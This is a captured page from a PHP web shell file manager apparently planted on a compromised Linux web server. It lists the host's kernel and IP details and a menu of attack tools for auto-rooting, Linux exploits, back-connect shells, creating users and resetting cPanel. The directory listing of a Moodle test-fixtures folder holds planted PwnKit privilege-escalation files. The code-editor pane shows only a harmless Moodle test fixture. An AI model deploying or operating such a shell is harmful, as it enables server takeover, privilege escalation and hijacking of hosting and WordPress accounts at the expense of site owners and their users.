Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.100.183
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
tests /
fixtures /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
component
[ DIR ]
drwxr-xr-x
langtest
[ DIR ]
drwxr-xr-x
messageinbound
[ DIR ]
drwxr-xr-x
update_validator
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
component_class_callback_examp...
1.84
KB
-rw-r--r--
deprecated_analyser.php
4.34
KB
-rw-r--r--
empty.txt
32
B
-rw-r--r--
event_fixtures.php
9.42
KB
-rw-r--r--
event_mod_badfixtures.php
1.12
KB
-rw-r--r--
event_mod_fixtures.php
1.11
KB
-rw-r--r--
events.php
1.73
KB
-rw-r--r--
gd-logo.png
2.39
KB
-rw-r--r--
google_gmail.ics
576
B
-rw-r--r--
max_input_vars.php
8.25
KB
-rw-r--r--
ms_outlook_2010.ics
1.19
KB
-rw-r--r--
namespaced_form.php
1.52
KB
-rw-r--r--
osx_yosemite.ics
763
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
readonlyform.php
2.17
KB
-rw-r--r--
repeated_events.ics
825
B
-rw-r--r--
securetestpage.php
1.25
KB
-rw-r--r--
stats_events.php
1.65
KB
-rw-r--r--
statslib-test00.xml
1.02
KB
-rw-r--r--
statslib-test01.xml
3.29
KB
-rw-r--r--
statslib-test02.xml
3.3
KB
-rw-r--r--
statslib-test03.xml
4.27
KB
-rw-r--r--
statslib-test04.xml
4.45
KB
-rw-r--r--
statslib-test05.xml
4.32
KB
-rw-r--r--
statslib-test06.xml
4.5
KB
-rw-r--r--
statslib-test07.xml
4.72
KB
-rw-r--r--
statslib-test08.xml
3.73
KB
-rw-r--r--
statslib-test09.xml
3.62
KB
-rw-r--r--
statslib-test10.xml
3
KB
-rw-r--r--
tabfile.csv
344
B
-rw-r--r--
task_fixtures.php
1.73
KB
-rw-r--r--
test_external_function_throwab...
2.7
KB
-rw-r--r--
test_renderer_factory.php
5.59
KB
-rw-r--r--
testable_antivirus.php
2.76
KB
-rw-r--r--
testable_core_h5p.php
3.5
KB
-rw-r--r--
testable_core_media_player.php
2.85
KB
-rw-r--r--
testable_core_media_player_nat...
2.66
KB
-rw-r--r--
testable_flexible_table.php
1.41
KB
-rw-r--r--
testable_plugin_manager.php
4
KB
-rw-r--r--
testable_plugininfo_base.php
1.73
KB
-rw-r--r--
testable_update_api.php
7
KB
-rw-r--r--
testable_update_checker.php
6.01
KB
-rw-r--r--
testable_update_code_manager.p...
1.93
KB
-rw-r--r--
testable_update_validator.php
1.69
KB
-rw-r--r--
timezonewindows.xml
42.83
KB
-rw-r--r--
upload_users.csv
191
B
-rw-r--r--
upload_users_cohorts.csv
276
B
-rw-r--r--
upload_users_emailstop.csv
154
B
-rw-r--r--
upload_users_enrol_date_period...
226
B
-rw-r--r--
upload_users_profile.csv
194
B
-rw-r--r--
upload_users_themes.csv
311
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : testable_update_api.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Provides \core\update\testable_api class. * * @package core_plugin * @subpackage fixtures * @category test * @copyright 2015 David Mudrak <david@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\update; defined('MOODLE_INTERNAL') || die(); /** * Testable variant of \core\update\api class. * * Provides access to some protected methods we want to explicitly test and * bypass the actual cURL calls by providing fake responses. * * @copyright 2015 David Mudrak <david@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class testable_api extends api { /** * Provides access to the parent protected method. * * @param int $branch * @return string */ public function convert_branch_numbering_format($branch) { return parent::convert_branch_numbering_format($branch); } /** * Returns fake URL of the pluginfo.php API end-point. * * @return string */ protected function get_serviceurl_pluginfo() { return 'http://testab.le/api/pluginfo.php'; } /** * Mimics the call to the given end-point service with the given parameters. * * This simulates a hypothetical plugins directory with a single plugin * 'foo_bar' available (with a single release). * * @param string $serviceurl * @param array $params * @return stdClass|bool */ protected function call_service($serviceurl, array $params=array()) { $response = (object)array( 'data' => null, 'info' => null, 'status' => null, ); $foobarinfo = (object)array( 'status' => 'OK', 'apiver' => '1.3', 'pluginfo' => (object)array( 'id' => 42, 'name' => 'Foo bar', 'component' => 'foo_bar', 'source' => '', 'doc' => '', 'bugs' => '', 'discussion' => '', 'version' => false, ), ); $version2015093000info = (object)array( 'id' => '6765', 'version' => '2015093000', 'release' => '1.0', 'maturity' => '200', 'downloadurl' => 'http://mood.le/plugins/foo_bar/2015093000.zip', 'downloadmd5' => 'd41d8cd98f00b204e9800998ecf8427e', 'vcssystem' => '', 'vcssystemother' => '', 'vcsrepositoryurl' => '', 'vcsbranch' => '', 'vcstag' => '', 'supportedmoodles' => array( (object)array( 'version' => '2015041700', 'release' => '2.9' ), (object)array( 'version' => '2015110900', 'release' => '3.0' ), ) ); $version2015100400info = (object)array( 'id' => '6796', 'version' => '2015100400', 'release' => '1.1', 'maturity' => '200', 'downloadurl' => 'http://mood.le/plugins/foo_bar/2015100400.zip', 'downloadmd5' => 'd41d8cd98f00b204e9800998ecf8427e', 'vcssystem' => '', 'vcssystemother' => '', 'vcsrepositoryurl' => '', 'vcsbranch' => '', 'vcstag' => '', 'supportedmoodles' => array( (object)array( 'version' => '2015110900', 'release' => '3.0' ), ) ); $version2015100500info = (object)array( 'id' => '6799', 'version' => '2015100500', 'release' => '2.0beta', 'maturity' => '100', 'downloadurl' => 'http://mood.le/plugins/foo_bar/2015100500.zip', 'downloadmd5' => 'd41d8cd98f00b204e9800998ecf8427e', 'vcssystem' => '', 'vcssystemother' => '', 'vcsrepositoryurl' => '', 'vcsbranch' => '', 'vcstag' => '', 'supportedmoodles' => array( (object)array( 'version' => '2015110900', 'release' => '3.0' ), ) ); if ($serviceurl === 'http://testab.le/api/pluginfo.php') { if (strpos($params['plugin'], 'foo_bar@') === 0) { $response->data = $foobarinfo; $response->info = array( 'http_code' => 200, ); $response->status = '200 OK'; if (substr($params['plugin'], -11) === '@2015093000') { $response->data->pluginfo->version = $version2015093000info; } if (substr($params['plugin'], -11) === '@2015100400') { $response->data->pluginfo->version = $version2015100400info; } if (substr($params['plugin'], -11) === '@2015100500') { $response->data->pluginfo->version = $version2015100500info; } } else if ($params['plugin'] === 'foo_bar' and isset($params['branch']) and isset($params['minversion'])) { $response->data = $foobarinfo; $response->info = array( 'http_code' => 200, ); $response->status = '200 OK'; if ($params['minversion'] <= 2015100400) { // If two stable versions fullfilling the required version are // available, the /1.3/pluginfo.php API returns the more recent one. $response->data->pluginfo->version = $version2015100400info; } else if ($params['minversion'] <= 2015100500) { // The /1.3/pluginfo.php API returns versions with lower // maturity if it is the only way how to fullfil the // required minimal version. $response->data->pluginfo->version = $version2015100500info; } } else { $response->info = array( 'http_code' => 404, ); $response->status = '404 Not Found (unknown plugin)'; } return $response; } else { return 'This should not happen'; } } }
Close